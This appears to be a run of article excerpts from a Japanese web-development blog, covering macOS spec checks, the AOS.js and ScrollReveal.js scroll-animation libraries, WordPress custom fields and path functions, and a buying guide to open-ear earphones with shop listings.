実際の出力は次のようになります。上から順に、OSは26.5.2で最小の14以上、アーキテクチャはarm64、チップはApple M3、メモリは24GBで最小の16GB以上、という具合に1行ずつ合否が確定していきます。 ProductName: macOS ProductVersion: 26.5.2 BuildVersion: 25F84 arm64 Apple M3 24 GB Chipset Model: Apple M3 Type: GPU Total Number of Cores: 10 Metal Support: Metal 4 ディスプレイ解像度は同じ system_profiler SPDisplaysDataType の出力の「Displays」以下に表示されます。ここで最小の1440x900を下回っていなければ、ディスプレイ項目は合格です。 AVX2の確認はIntel Macだけ。Apple シリコンでは必ずエラーになる 必要システム構成にある「AVX2サポートが必須」は、macOSではIntel Macにだけ関係する条件です。確認コマンドは次のとおりですが、これをApple シリコンで実行すると必ずエラーになります。 # Intel Macのみ。出力にAVX2が含まれていれば条件を満たす sysctl -n machdep.cpu.leaf7_features # Apple シリコンでの実行結果（このOIDは存在しない） # sysctl: unknown oid 'machdep.cpu.leaf7_features' このエラーは異常ではなく正常です。Apple シリコンはx86の命令セット拡張であるAVX2を持たないため、そもそも参照先の項目が存在しません。uname -m の出力が arm64 だった人は、AVX2の判定そのものが不要だと理解してください。ここでエラーを見て「要件を満たしていない」と誤解し、導入をやめてしまうのがいちばんもったいない外し方です。 Windowsで値を取る場合（本記事では未検証） 正直に書きます。本記事の検証環境はmacOSのみで、Windows側の画面と出力は確認していません。そのため出力例は載せず、Windows標準機能のどこを見るかだけを示します。値の正しさは必ずAdobe公式の必要システム構成と自分の画面で突き合わせてください。 OSのバージョンとエディション、搭載メモリ、CPU名は「設定」の「システム」にある「バージョン情報」にまとまっています OSのビルド番号だけを素早く見たい場合は、ファイル名を指定して実行から winver を起動します GPUの名前と表示メモリ（VRAM）は DirectX 診断ツール（dxdiag）の「ディスプレイ」タブに出ます ディスプレイ解像度は「設定」の「システム」にある「ディスプレイ」で確認できます AVX2に対応しているかはCPUの型番からIntelまたはAMDの製品仕様ページで確認するのが確実です 合否ラインと、外れたときの分岐 ここまでで取った値を、次の基準に当てはめます。外れた項目ごとに打ち手が違うので、まとめて「スペック不足」と片づけないでください。 判定次にやること6項目すべて最小以上導入して問題ない。ただし4K素材を扱うならメモリは推奨側の32GB以上を見るOSだけ足りないOSを上げれば解決する。ハードの買い替えは不要Windows 10のまま26.xの最小要件から外れている。OSの更新が先メモリまたはGPUが足りない買う前に無料体験で自分の素材を実際に流して確かめるIntel MacでAVX2が無い要件を満たさない。買い替えの検討に入る無印のMシリーズで判断がつかない公式に明示が無いため断定できない。無料体験での実測が唯一の判断材料 Apple シリコンのMacを使う場合、もうひとつ確認すべき点があります。 ### [模写準中級 #005 | スクロールアニメーション](https://codequest.work/aos-js-landing-page/) Webサイトに動きをつけたい。でもJavaScriptを書くのはハードルが高い…そんなときにおすすめなのが AOS.js（Animate On Scroll） です。 この記事では、AOS.jsの基本的な使い方と、実際のLPテンプレート（ファッション雑誌風）での活用例を紹介します。 ✅ AOS.jsとは？ AOS（Animate On Scroll） は、HTMLタグにdata-aos属性を追加するだけでスクロールアニメーションを実装できるライブラリです。 JavaScriptの知識がなくても、HTMLとCSSがわかれば導入可能で、LP（ランディングページ）やポートフォリオサイトでよく使われています。 🔧 主な特徴 HTMLに属性を追加するだけでOK（学習コストが低い） jQueryなどの依存なし 軽量でシンプル 商用利用OK（MITライセンス） 🛠 AOS.jsの基本的な使い方 <!-- ステップ1：CSSとJSの読み込み（CDN） --> <link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet"> <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script> <!-- ステップ2：HTMLにdata-aos属性を追加 --> <div data-aos="fade-up">フェードアップで表示</div> <!-- ステップ3：初期化 --> <script> AOS.init({ duration: 1000, // アニメーションの時間（ms） once: true // 一度だけアニメーション }); </script> 💻 LPでの活用例：ファッション雑誌風テンプレート 以下は、ファッションマガジンを模したLPテンプレートにAOS.jsを適用したサンプルです。各セクションで data-aos 属性を活用し、スクロールに応じて自然なアニメーションを実装しています。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"/> <title>AOS.js LPデモ</title> <link rel="stylesheet" href="https://unpkg.com/aos@2.3.1/dist/aos.css" /> <style> body { font-family: 'Helvetica Neue', sans-serif; margin: 0; padding: 0; line-height: 1.6; background: #f9f9f9; } header { background: url('https://picsum.photos/id/1024/1920/1080') no-repeat center center / cover; height: 100vh; display: flex; justify-content: center; align-items: center; color: white; text-shadow: 0 2px 10px rgba(0,0,0,0.5); } header h1 { font-size: 4rem; letter-spacing: 4px; } section { padding: 80px 20px; max-width: 1100px; margin: 0 auto; } .section-title { font-size: 2.5rem; margin-bottom: 40px; text-align: center; border-bottom: 1px solid #ccc; padding-bottom: 20px; } .two-col { display: flex; flex-wrap: wrap; gap: 40px; } .two-col img { width: 100%; border-radius: 8px; } .two-col .text, .two-col .img { flex: 1; min-width: 300px; } .gallery { display: flex; overflow-x: auto; gap: 20px; } .gallery img { width: 300px; flex-shrink: 0; border-radius: 8px; } footer { background: #000; color: #fff; text-align: center; padding: 40px 20px; } </style> </head> <body> <header data-aos="fade"> <h1>FASHION IS CULTURE</h1> </header> <section> <h2 class="section-title" data-aos="fade-up">LIFESTYLE & CULTURE</h2> <div class="two-col"> <div class="img" data-aos="fade-right"> <img src="https://picsum.photos/id/1011/600/400" alt=""> </div> <div class="text" data-aos="fade-left"> <p>ライフスタイルとカルチャーを美しく融合した、上質なウェブ体験。</p> </div> </div> </section> <section> <h2 class="section-title" data-aos="fade-up">TREND SPECIAL</h2> <div class="two-col"> <div class="text" data-aos="fade-right"> <p>モードからサステナブルまで、最新のトレンドをピックアップ。</p> </div> <div class="img" data-aos="fade-left"> <img src="https://picsum.photos/id/1018/600/400" alt=""> </div> </div> </section> <section> <h2 class="section-title" data-aos="fade-up">GALLERY</h2> <div class="gallery" data-aos="zoom-in"> <img src="https://picsum.photos/id/1025/300/400" alt=""> <img src="https://picsum.photos/id/1036/300/400" alt=""> <img src="https://picsum.photos/id/1050/300/400" alt=""> </div> </section> <footer data-aos="fade"> <p>© 2025 Fashion Culture Magazine</p> </footer> <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script> <script> AOS.init({ duration: 1000, once: true }); </script> </body> </html> DEMO 🧪 よく使うdata-aos属性一覧 属性名効果fadeフェードインfade-up下からフェードインfade-down上からフェードインfade-left左からfade-right右からzoom-in拡大しながら表示flip-left左回転フリップ 🔚 まとめ AOS.jsは初心者でも導入しやすい data-aos属性で視覚的な演出がすぐに追加できる LPやポートフォリオにぴったり ScrollReveal.jsよりも「手軽さ」を重視したい場合はAOS.jsがおすすめです。 🔗 関連リンク AOS.js GitHub よくある質問（FAQ） Q. AOS.jsとは何ですか？ AOS（Animate On Scroll）は、スクロールに連動して要素をアニメーション表示するCSSアニメーションライブラリです。HTMLのdata-aos属性にアニメーション名（fade-up, slide-rightなど）を指定するだけで動作し、JavaScript知識がなくても使えるのが特徴です。CDNから読み込んでAOS.init()を呼ぶだけで導入できます。 Q. AOS.jsの基本的な使い方は？ CDNからCSS・JSを読み込み、アニメーションさせたい要素にdata-aos="fade-up"のように属性を追加します。JavaScriptでAOS.init()を実行すれば初期化完了です。data-aos-delay（遅延）、data-aos-duration（時間）、data-aos-offset（開始位置）などのdata属性でカスタマイズも可能です。 ### [模写中級 #006 | ScrollReveal.jsの使い方とサンプルLP](https://codequest.work/scrollreveal-js-landing-page/) Webサイトにアニメーションを取り入れたいとき、軽量で手軽に導入できるライブラリがあると便利です。この記事では、ScrollReveal.jsの基本的な使い方と、実践的なサンプルとしてデモサイトを紹介します。 ✅ ScrollReveal.jsとは？ ScrollReveal.jsは、スクロールに応じて要素をフェードインやスライドインさせる軽量のJavaScriptライブラリです。HTMLにdata-属性を書く必要がなく、JavaScriptだけでアニメーション制御ができる点が大きな特徴です。 🔧 主なメリット 軽量（~4KB） HTMLを汚さずに導入できる 多彩なアニメーション（スライド・フェード・スケール等） 商用無料（MITライセンス） 🛠 ScrollReveal.jsの基本的な使い方 <!-- スクリプト読み込み --> <script src="https://unpkg.com/scrollreveal"></script> <!-- アニメーション適用 --> <script> ScrollReveal().reveal('.your-class', { duration: 1000, distance: '50px', origin: 'bottom' }); </script> .your-class にアニメーションが適用されます。複数のエフェクトを使い分けたい場合は、クラスを分けて設定しましょう。 🎨 ファッション雑誌風LPのデモサンプル 以下は、ScrollReveal.js を活用して実装したファッションマガジン風のLPサンプルです。背景画像、グリッドレイアウト、ギャラリー風の横スクロールなど、視覚的に印象的なデザインを取り入れています。 💡 下記コードはそのままコピペして試せます。 💻 コード全体はこちら <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>LPデモ</title> <script src="https://unpkg.com/scrollreveal"></script> <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@600&display=swap" rel="stylesheet" /> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: "Playfair Display", serif; background: #fff; color: #111; } header { background: url("https://picsum.photos/id/1024/1920/1080") no-repeat center center / cover; height: 100vh; display: flex; justify-content: center; align-items: center; color: white; text-shadow: 0 2px 10px rgba(0, 0, 0, 0.5); } header h1 { font-size: 4rem; letter-spacing: 4px; } .section { padding: 80px 20px; max-width: 1100px; margin: 0 auto; } .section-title { font-size: 2.5rem; margin-bottom: 40px; text-align: center; border-bottom: 1px solid #ccc; padding-bottom: 20px; } .two-col { display: flex; flex-wrap: wrap; gap: 40px; } .two-col img { width: 100%; border-radius: 8px; } .two-col .text { flex: 1; } .two-col .img { flex: 1; } .gallery { display: flex; overflow-x: auto; gap: 20px; } .gallery img { width: 300px; flex-shrink: 0; border-radius: 8px; } footer { background: #000; color: #fff; text-align: center; padding: 40px 20px; } @media (max-width: 768px) { .two-col { flex-direction: column; } } </style> </head> <body> <header> <h1 class="sr-fade">FASHION IS CULTURE</h1> </header> <section class="section"> <h2 class="section-title sr-bottom">LIFESTYLE & CULTURE</h2> <div class="two-col"> <div class="img sr-left"> <img src="https://picsum.photos/id/1011/600/400" alt="Fashion" /> </div> <div class="text sr-right"> <p>洗練されたライフスタイルとカルチャーの融合を体験。<br />トレンドを超えた日常美をあなたへ。</p> </div> </div> </section> <section class="section"> <h2 class="section-title sr-bottom">最新のトレンド特集</h2> <div class="two-col"> <div class="text sr-left"> <p>今注目のモードスタイルやエシカルファッションを特集。感度の高い読者に贈る、最旬の着こなし。</p> </div> <div class="img sr-right"> <img src="https://picsum.photos/id/1018/600/400" alt="Trend" /> </div> </div> </section> <section class="section"> <h2 class="section-title sr-bottom">PICKUP ARTICLES</h2> <div class="gallery sr-scale"> <img src="https://picsum.photos/id/1025/300/400" alt="" /> <img src="https://picsum.photos/id/1036/300/400" alt="" /> <img src="https://picsum.photos/id/1050/300/400" alt="" /> <img src="https://picsum.photos/id/1062/300/400" alt="" /> </div> </section> <footer class="sr-fade"> <p>© 2025 Fashion Culture Magazine</p> </footer> <script> ScrollReveal().reveal(".sr-fade", { duration: 1000, opacity: 0, distance: "20px", origin: "bottom", }); ScrollReveal().reveal(".sr-bottom", { duration: 1000, distance: "30px", origin: "bottom", }); ScrollReveal().reveal(".sr-left", { duration: 1000, distance: "50px", origin: "left", }); ScrollReveal().reveal(".sr-right", { duration: 1000, distance: "50px", origin: "right", }); ScrollReveal().reveal(".sr-scale", { duration: 1000, scale: 0.8, }); </script> </body> </html> DEMO 🧪 アニメーションの種類例 クラス名効果内容.sr-left左からスライドイン.sr-right右からスライドイン.sr-bottom下からスライドイン.sr-fadeフェードイン.sr-scale拡大表示（CTAなどにおすすめ）.sr-zoomズームイン（画像向き） 🔚 まとめ ScrollReveal.jsは、LPやポートフォリオに印象的なスクロールアニメーションを簡単に追加できるライブラリです。 特に次のような方におすすめです： HTMLをなるべくきれいに保ちたい方 AOSより柔軟に動きを制御したい方 サイトに軽量な演出を加えたい方 🧰 関連リンク ScrollReveal公式サイト よくある質問（FAQ） Q. ScrollReveal.jsとは何ですか？ ScrollReveal.jsは、要素がスクロールでビューポートに入ったタイミングでフェードイン・スライドインなどのアニメーションを自動的に適用する軽量なJavaScriptライブラリです。HTML要素にdata属性やJavaScriptのオプションを設定するだけで、スクロール連動アニメーションを簡単に実装できます。jQueryに依存せず、約4KBと軽量です。 Q. ScrollReveal.jsとAOS.jsの違いは？ ScrollReveal.jsはJavaScriptのAPIでアニメーションを定義し、より細かいカスタマイズ（タイミング・距離・回転など）が可能です。AOS.jsはHTMLのdata属性でアニメーションを宣言的に設定でき、実装がより簡単です。小規模なプロジェクトや素早い実装にはAOS.js、複雑な制御が必要な場合はScrollReveal.jsが適しています。 ### [WordPressカスタムフィールドを徹底解説！初心者でもわかる「もう一歩進んだ情報追加術」](https://codequest.work/wordpress-custom-fields-guide/) カスタムフィールドとは、WordPressの投稿や固定ページに、タイトルと本文以外の情報を「キー（名前）と値」の組で保存できる標準機能です。価格・開催日・評価点数のように、記事ごとに形式が決まっているデータを、本文とは別枠で管理するために使います。 ただし、値を保存しただけではフロントには何も出ません。表示するには、テンプレートに get_post_meta() を書くか、ブロックバインディングでブロックの属性に結びつけるかのどちらかが必要です。そしてどちらの方法を選んでも、うまくいったかどうかの判定は1つだけです。管理画面で値を入力すると表示され、値を空にして更新すると表示も消える。この記事は、その状態に到達するまでを最短で通すために構成しています。 テーマ開発全体のどこに位置する作業かは、WordPressテーマ開発ガイドの段階3（機能カスタマイズ）にあたります。段階3の判定（値を空にすると表示も消える）に落ちてこのページに来た方は、そのまま読み進めてください。最後の検証セクションで、消えない原因の切り分けまで扱います。 カスタムフィールドとは｜キーと値で「決まった形の情報」を持たせる WordPressの投稿は、標準では「タイトル」と「本文」の2つしか構造を持ちません。しかし実際のサイトでは、本文に混ぜたくない情報が出てきます。 映画のレビュー記事なら、「監督名」や「公開日」 イベント情報なら、「開催日時」や「会場」 お店の紹介なら、「営業時間」や「定休日」 これらを本文に書いても画面には出せます。しかしそれは「HTMLの塊の中の文字」でしかなく、あとから取り出すことができません。カスタムフィールドに入れておけば、値はキー（名前）で名指しして取り出せる独立したデータになります。だから「公開日が新しい順に並べる」「営業中の店だけ絞り込む」「テンプレートの決まった位置に必ず出す」といった処理が書けるようになります。 用語は2つだけ覚えれば足ります。キーはデータの名前（例: director_name）、値は中身（例: 「スピルバーグ」）です。データベース上は wp_postmeta テーブルに、投稿IDとセットで保存されます。 標準機能で入力欄を出す｜ブロックエディタでの手順 カスタムフィールドはプラグインを入れなくても使えます。ただし初期状態では入力欄が隠れているため、まず表示する設定が必要です。 ブロックエディタでの表示手順 投稿の編集画面を開きます。 画面右上の⋮（オプション）をクリックします。 メニューから「設定」（Preferences）を開きます。 その中にある「カスタムフィールド」をONにし、表示される「有効化して再読み込み」を押します。 編集画面が再読み込みされ、本文の下に「カスタムフィールド」の入力欄が現れます。 「設定」の中がさらにタブや小見出しで区切られている場合がありますが、その名前はWordPressのバージョンによって変わります。「設定の中にある『カスタムフィールド』のスイッチを探してONにする」と覚えておけば、画面の細部が違っても迷いません。なおクラシックエディタを使っている場合は、画面右上の「表示オプション」から「カスタムフィールド」にチェックを入れます。よく見かける「表示オプション」の手順はこちらで、ブロックエディタには「表示オプション」自体がありません。 キーの付け方で先に知っておくこと 入力欄には「名前（キー）」と「値」を入れて「カスタムフィールドを追加」を押します。このとき、キーの付け方に2つ落とし穴があります。 アンダースコアで始めない。WordPressはキーの先頭が _ のものを「保護されたメタ」として扱い、カスタムフィールドの一覧に表示しません。プラグインが内部で使う値を隠すための仕組みで、自分で入力する値には使わないのが無難です（出典: is_protected_meta() – WordPress Developer Resources）。 プルダウンに出てこなくても慌てない。既存キーを選ぶプルダウンに並ぶのは既定で先頭30件までです（postmeta_form_limit フィルターの初期値が30）。並んでいなくても「新規追加」でキー名を手入力すれば同じキーに保存されます（出典: postmeta_form_limit – WordPress Developer Resources）。 テンプレートに値を出す｜get_post_meta() の使い方 保存した値をフロントに出す、もっとも基本的な方法がテンプレートへの記述です。投稿の詳細ページを作る single.php や、記事本体を描画する content.php のような、ループの中で動くファイルに書きます。ファイルの役割が曖昧な場合はsingle.phpの書き方とWordPressループの基本を先に確認してください。 <?php // 今見ている投稿のID（番号）を取得する $post_id = get_the_ID(); // 'my_custom_field' というキーの値を取り出す // 第3引数の true は「値そのものを1件返す」という指定。 // 「値が1つのときだけ」ではなく、複数保存されていても常に先頭の1件が返る。 // false（既定値）にすると、値が1件でも配列で返ってくる $my_field_value = get_post_meta( $post_id, 'my_custom_field', true ); // 値が入っているときだけ出力する // empty() ではなく '' との比較にしているのは、値が "0" のときも表示したいため if ( '' !== $my_field_value ) { echo '<p>カスタムフィールドの値: ' . esc_html( $my_field_value ) . '</p>'; } 第3引数 $single は、返ってくる形を切り替えるスイッチです。ここを取り違えると「値は保存されているのに表示できない」状態になるので、返り値を表で押さえておきます。 $single値があるとき値が無いとき使いどころtrue値そのもの（複数保存されていても先頭1件）空文字 ''1つの値をそのまま表示するfalse（既定）値の配列空配列 array()同じキーに複数の値を入れている もう1つ、あとで必ず効いてくる仕様があります。カスタムフィールドの値は、数値を入れても「文字列」で返ってきます。公式リファレンスにも「numbers (both integer and float) are returned as strings」と明記されています（出典: get_post_meta() – WordPress Developer Resources）。ループの回数や計算にそのまま使うと事故になるため、後述の「おすすめ度」の例で対処法を扱います。 PHPを書かずに出す道｜ブロックバインディング 「表示するにはテーマファイルを編集するしかない」という説明をよく見かけますが、これはWordPress 6.5より前の話です。6.5で追加されたブロックバインディングAPIを使うと、カスタムフィールドの値をブロックの属性に直接結びつけられます。テンプレートPHPを触らず、ブロックエディタの中だけで表示まで到達できます。 公式ハンドブックによると、この機能は6.5で導入され（core/post-meta ソースは当初から利用可能）、6.7でエディタ側からのソース登録が加わり、6.9で core/post-data と core/term-data が追加されています（出典: Bindings – Block Editor Handbook）。 使うための条件は2つ どのキーでも自由に結びつけられるわけではありません。公式ハンドブックが挙げている条件は次の2つです。 そのメタキーが show_in_rest => true で登録されていること キー名がアンダースコアで始まっていないこと（保護されたメタは参照できない） 登録は register_meta() で行います。書く場所は、テーマの functions.php か自作プラグインです（functions.phpカスタマイズの基本）。 <?php // メタキーをブロックエディタから参照できる形で登録する add_action( 'init', function () { register_meta( 'post', 'my_custom_field', array( // show_in_rest が true でないとブロックバインディングから参照できない 'show_in_rest' => true, 'single' => true, 'type' => 'string', ) ); } ); 登録すると、ブロック側は次のような形でキーを指し示せるようになります。段落の中身がカスタムフィールドの値に置き換わり、値が無いときだけ元のテキストが残ります。 <!-- wp:paragraph {"metadata":{"bindings":{"content":{"source":"core/post-meta","args":{"key":"my_custom_field"}}}}} --> <p>値が無いときに表示されるテキスト</p> <!-- /wp:paragraph --> 結びつけられるブロックと属性 対応しているのは、現時点では次の組み合わせだけです。ここに無いブロックへ出したい場合は、これまでどおりテンプレートPHPを書くことになります。 ブロック結びつけられる属性core/imageid, url, title, alt, captioncore/headingcontentcore/paragraphcontentcore/buttonurl, text, linkTarget, relcore/navigation-linkurlcore/navigation-submenuurlcore/post-datedatetime つまり「見出し・段落・画像・ボタンに1つの値を出したいだけ」なら、PHPを書かずに終わります。逆に、複数の値を組み合わせたり、条件によって出し分けたり、独自のHTML構造で囲みたい場合は、次章以降のテンプレート実装が必要です。どちらを選んでも、合否の判定は「値を空にすると表示も消えるか」で共通です。 ACFで入力欄を作る｜無料版とPROの境界を先に確認する 標準のカスタムフィールドは、入力欄がただのテキストボックス1種類しかありません。日付を「2025/1/1」と書く人と「2025-01-01」と書く人が混ざるだけで、表示側のコードが破綻します。この問題を解決するのがACF（Advanced Custom Fields）で、日付ピッカー・画像選択・チェックボックスなど、入力の形をあらかじめ決められます。 インストールの前に知っておく1点 管理画面の「プラグイン」→「新規追加」で「Advanced Custom Fields」を検索すると、作者が WP Engine の本家プラグインが上位に出ます。これを「今すぐインストール」→「有効化」すれば、左メニューに「ACF」が追加されます。 ただし、同じ検索結果に Secure Custom Fields（SCF）という、作者が WordPress.org のプラグインも並びます。こちらはACFから派生したもので、SCFの説明文には「有効化すると、機能が重複するプラグイン（Advanced Custom Fields および ACF PRO）を停止する」と明記されています。 ### [WordPressのパス指定を徹底解説｜相対パスと絶対パスの違いと使い分け](https://codequest.work/wordpress-path-absolute-relative/) はじめに｜なぜパスの指定方法が重要なのか WordPressで画像が表示されない、CSSが反映されない——そんなトラブルの原因は「パスの指定ミス」であることが多いです。特に初心者の方は、HTMLサイトで慣れ親しんだ「相対パス」の感覚のままWordPressを扱ってしまい、思わぬバグに悩まされがちです。 この記事では、WordPressにおける「相対パス」と「絶対パス」の違いや使い分け方、そしてよく使う関数についてわかりやすく解説します。 パス指定の基本｜相対パスと絶対パスとは？ 相対パスとは 相対パスは、現在のファイルからの位置関係で指定する方法です。 <img src="./images/logo.png" alt="ロゴ"> この場合、現在のファイルと同じ階層にある images フォルダの中の logo.png を指定しています。 絶対パスとは 絶対パスは、ドメインからの完全なURLを指定する方法です。 <img src="https://example.com/wp-content/themes/yourtheme/images/logo.png" alt="ロゴ"> WordPressではこのような絶対パスが基本であり、動的なページ生成や構造が複雑な場合でも安定してリソースを読み込めます。 WordPressが絶対パスを使う理由とは？ 理由1：複雑なディレクトリ構造 WordPressでは、テーマ、プラグイン、メディアなどがそれぞれ別のディレクトリに格納されているため、相対パスだとパス解決が不安定になることがあります。 理由2：動的なURL生成 投稿ページやカスタム投稿など、WordPressは1つのテンプレートで複数のURLを生成します。相対パスを使っていると、ページの階層によってCSSや画像が読み込まれないことがよくあります。 理由3：パーマリンクとの相性 パーマリンク構造が変更された場合にも、絶対パスを使っていれば影響を受けにくくなります。 よく使うWordPressのパス系関数まとめ 以下は、WordPressでよく使われるパス取得関数とその用途です。テンプレート内で使う際は、セキュリティの観点から必ず esc_url() 関数を併用して出力をエスケープしましょう。 <!-- 親テーマのURLを取得 --> <?php echo esc_url( get_template_directory_uri() ); ?> <!-- 子テーマのURLを取得 --> <?php echo esc_url( get_stylesheet_directory_uri() ); ?> <!-- サイトのホームURLを取得 --> <?php echo esc_url( home_url() ); ?> <!-- WordPressの設置ディレクトリURLを取得 --> <?php echo esc_url( site_url() ); ?> <!-- メディアファイルのURLを取得 --> <?php echo esc_url( wp_get_attachment_url( $attachment_id ) ); ?> エスケープ処理とは？ esc_url() は、出力するURLに悪意あるコードが含まれていないかをチェックして、HTMLで安全に表示できるように加工する関数です。 例： <a href="<?php echo esc_url( home_url() ); ?>">トップページへ戻る</a> このように、安全にURLを出力するには esc_url() を通すのが基本です。<img> の src 属性や <link> の href でも同様に使いましょう。 相対パスを使いたい場合の注意点 どうしても相対パスを使いたい場合は、次のような点に注意しましょう。 /single/ や /page/ などのURL階層が深いページではNG テンプレート階層によっては ../ のような記述が必要になり、可読性が下がる テスト時に表示されても、本番環境で表示されないことがある 基本的には、相対パスは静的HTMLでのみ使用推奨と考えましょう。 安全な画像・CSS読み込み方法の具体例 画像の読み込み <img src="<?php echo get_template_directory_uri(); ?>/images/logo.png" alt="ロゴ"> CSSの読み込み <link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/style.css"> 関数で短縮化する例 <?php function img($path) { echo get_template_directory_uri() . '/images/' . $path; } ?> <img src="<?php img('logo.png'); ?>" alt="ロゴ"> まとめ｜パスの理解がサイト構築の安定につながる WordPressでの「相対パスと絶対パスの違い」は、地味ながら非常に重要な知識です。特に画像やCSS、JSが正しく読み込まれない場合は、パスの指定を真っ先に疑いましょう。 WordPressでは基本的に get_template_directory_uri() などの絶対パス系の関数を使うことで、サイト全体の安定性が向上します。 初学者の方は、まずは「絶対パスが基本」であることをしっかり押さえて、テンプレート制作に取り組んでみてください！ よくある質問（FAQ） Q. WordPressで相対パスと絶対パスのどちらを使うべきですか？ WordPressでは絶対パスの使用が推奨されます。特にテーマ内のファイル参照には、get_template_directory_uri()やget_stylesheet_directory_uri()を使うことで、サイトURLの変更やSSL化に自動対応できます。 Q. get_template_directory_uri()とget_stylesheet_directory_uri()の違いは？ get_template_directory_uri()は親テーマのディレクトリURLを返し、get_stylesheet_directory_uri()は有効なテーマ（子テーマがある場合は子テーマ）のURLを返します。子テーマを使用している場合はget_stylesheet_directory_uri()を使うのが安全です。 Q. wp_enqueue_styleでパスを指定する際の注意点は？ wp_enqueue_styleの第2引数にはget_stylesheet_directory_uri()で取得したURLベースのパスを指定します。ファイルシステムのパス（get_template_directory()）とURLパス（get_template_directory_uri()）を混同しないよう注意が必要です。 ### [在宅ワークの耳をふさがないイヤホン｜骨伝導と空気伝導の違いとWeb会議の選び方](https://codequest.work/bone-conduction-earphones-remotework/) 在宅で1日に3本も4本もWeb会議が入る働き方になると、イヤホンを装着している時間のほうが外している時間より長くなります。夕方には耳の奥が痛い、インターホンや家族の呼びかけを聞き逃す、耳の中が蒸れる。ここで候補に挙がるのが、耳の穴をふさがないタイプのイヤホンです。 ただしこのカテゴリには、商品名を読んでも中身が分からないという厄介な性質があります。ECサイトで「骨伝導イヤホン」として売られている商品のなかに、仕様上は骨伝導ではないものが混じっているからです。この記事では、まず3つの方式を切り分け、次に在宅ワークのWeb会議で本当に効く選定基準を5つに絞り、最後に「買う前に自分の音声環境を測る」ところまで進みます。 耳をふさがないイヤホンとは、骨伝導・空気伝導オープンイヤー（OWS）・イヤーカフ型という3方式の総称です。このうち外耳道と鼓膜を通さずに音を届けるのは骨伝導だけで、残る2つは小型スピーカーの音を空気で耳に送っています。そして在宅ワークのWeb会議で満足度を分けるのは、この方式の違いではなくマイクの型です。相手に届く声の質を決めているのはマイクであって、自分に聞こえる音を作る伝導方式ではないからです。 本記事で仕様を確認した3製品です。それぞれどの用途に向くかは、記事後半の「用途別の答え」で解説します。 ★楽天1位★＼86%OFF！30%OFFクーポン+P2で2,045円！／Ennice【ANC対応・液晶付きイヤホン】骨伝導イヤホン bluetooth ワイヤレスイヤホン IPX7 耳掛け ENCノイズキャンセリング 多機能タッチスクリーン OWSイヤホン 耳を塞がない 小型/軽量 会議/運動/ゲーム 楽天で購入 新発売！数量限定特典あり～【公式】Shokz OpenDots Air ワイヤレスイヤホン 耳を塞がない オープンイヤー イヤーカフ イヤホン 高音質 急速充電 フィット感良く Bluetooth6.1 防水 送料無料 あす楽 24ヶ月保証 公式ストア ショックス プレゼントおすすめ 楽天で購入 【公式】7月7日より夏の大型セール！Shokz OpenRun/OpenRun Mini 骨伝導イヤホン ワイヤレス 骨伝導ヘッドホン マグネット充電 USB-C 耳を塞がない オープンイヤー 急速充電対応 Bluetooth5.1 防水 高音質 スポーツイヤホン iPhone通話 24ヶ月保証 ショックス 楽天で購入 楽天市場イヤホンランキング 耳をふさがないイヤホンとは｜骨伝導・空気伝導オープンイヤー・イヤーカフの3方式 「耳をふさがない」は装着感の説明であって、音の伝え方の説明ではありません。同じ「耳をふさがない」でも、内部の仕組みは次の3つに分かれます。この表を先に頭に入れておくと、以降の判断がすべて速くなります。 方式音の届き方本体の形当たる場所本記事での実例骨伝導振動を皮膚と側頭骨から蝸牛へ。外耳道と鼓膜を迂回する耳の後ろを回るネックバンド一体型耳の前の骨（こめかみの下あたり）Shokz OpenRun／OpenComm 2空気伝導オープンイヤー（OWS）小型スピーカーの音を空気で外耳道へ。鼓膜は通常どおり使う耳掛けフック型。左右が独立し充電ケースに収まる耳の前（外耳道の入口の手前）Ennice S10イヤーカフ型同上（空気伝導）耳たぶを挟む。左右独立で充電ケースに収まる耳たぶ・耳の縁Shokz OpenDots Air 骨伝導は側頭骨から蝸牛へ音を届ける Shokzは骨伝導技術のページで、「骨伝導技術は、音を機械的振動に変換し、外耳道や鼓膜などの従来の空気伝導伝達器を迂回して、皮膚と側頭骨を通じて蝸牛に伝達します」と説明しています（Shokz 骨伝導技術／2026-08-02取得）。英語版も同じ内容で、"transmitted through the skin and temporal bone to the cochlea" と書かれています。temporal bone は側頭骨のことです。 なお、同じShokzの日本語サイトでもOpenMoveの製品ページには「トランスデューサーが頬骨を通して振動を送り」という記述が残っており、公式のなかで表現がゆれています。技術解説ページと英語版が一致しているほうを本記事では正とし、以降は「側頭骨」と書きます。骨伝導の説明として「頬骨から」と書かれた解説記事を見かけたら、この表記ゆれが元になっている可能性があります。 ここで見落とされがちなのは、迂回されるのが外耳道と鼓膜までだという点です。音の終着点である蝸牛には、空気伝導と同じように届きます。「骨伝導だから耳に負担がない」という理解は、この一文だけで成り立たなくなります。この含意は後半の誤解セクションで扱います。 空気伝導オープンイヤー（OWS）は耳の前にスピーカーを置く 耳掛けフックなどで小型スピーカーを耳の前に固定し、外耳道は開けたまま音を飛ばす方式です。ECサイトでは「OWSイヤホン」という表記でも流通しています。骨伝導と違って振動子を骨に押し当てる必要がないため、本体をきわめて軽くでき、左右を完全に分離して充電ケースに収めることができます。 本記事に掲載しているEnnice S10がこの型です。出品名には「骨伝導イヤホン」と「OWSイヤホン」が併記されていますが、同じ商品ページの説明文には「独自のU字型構造設計により、落ちやすいという空気伝導式完全ワイヤレスイヤホンの弱点を克服しました」「コーティング振動板採用の10mm径ダイナミックドライバーを搭載します」と書かれています（Ennice S10 商品ページ／2026-08-02取得）。ダイナミックドライバーは空気を震わせるスピーカーであり、骨に振動を伝えるトランスデューサーではありません。出品者自身の説明文が、この製品を空気伝導だと述べています。 イヤーカフ型は耳たぶを挟む空気伝導 耳たぶをクリップのように挟んで固定する型です。こちらも空気伝導で、耳の穴には何も入りません。本記事に掲載しているShokz OpenDots Airがこれにあたります。公式の製品仕様には「スピーカータイプ：空気伝導トランスデューサー」と明記されており、片耳約6.3g、IP55、Bluetooth 6.1、イヤホン単体で最大9時間・充電ケース併用で最大36時間、19,880円（税込）です（Shokz OpenDots Air／2026-08-02取得）。 